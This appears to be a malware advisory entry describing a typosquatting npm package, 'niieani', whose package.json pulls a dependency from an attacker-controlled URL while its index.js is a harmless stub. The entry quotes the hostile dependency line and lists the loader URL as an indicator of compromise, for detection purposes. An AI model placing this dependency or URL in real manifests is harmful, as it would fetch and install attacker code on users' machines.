GCVE-110-OSM-2026-5877

This package implements a classic loader-stage supply chain attack: the visible index.js is a harmless stub (`console.log('Hello, world!')`) designed to pass superficial review, while the real payload is staged behind a URL dependency (`http://npm.jpartifacts.com/npm/niieani`) on an attacker-controlled server that bypasses npm registry security controls entirely. The domain `npm.jpartifacts.com` is not a legitimate registry and the IOC classifier correctly labels this URL as a 'loader' role. The package name 'niieani' squats on a known npm developer identity, the version begins at 7.9.0 suggesting an attempt to shadow or override a specific version, and the publisher account (npmpack01) is brand-new with throwaway metadata. The URL fetch failed during scanning, consistent with the server fingerprinting scanner user agents or being intermittently active — not an indication the threat is absent. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "ui-styles-pkg": "http://npm.jpartifacts.com/npm/niieani"" - URL Dependency Fetch Failed in package.json DESTINATION - urls: http://npm.jpartifacts.com/npm/niieani (loader, plaintext)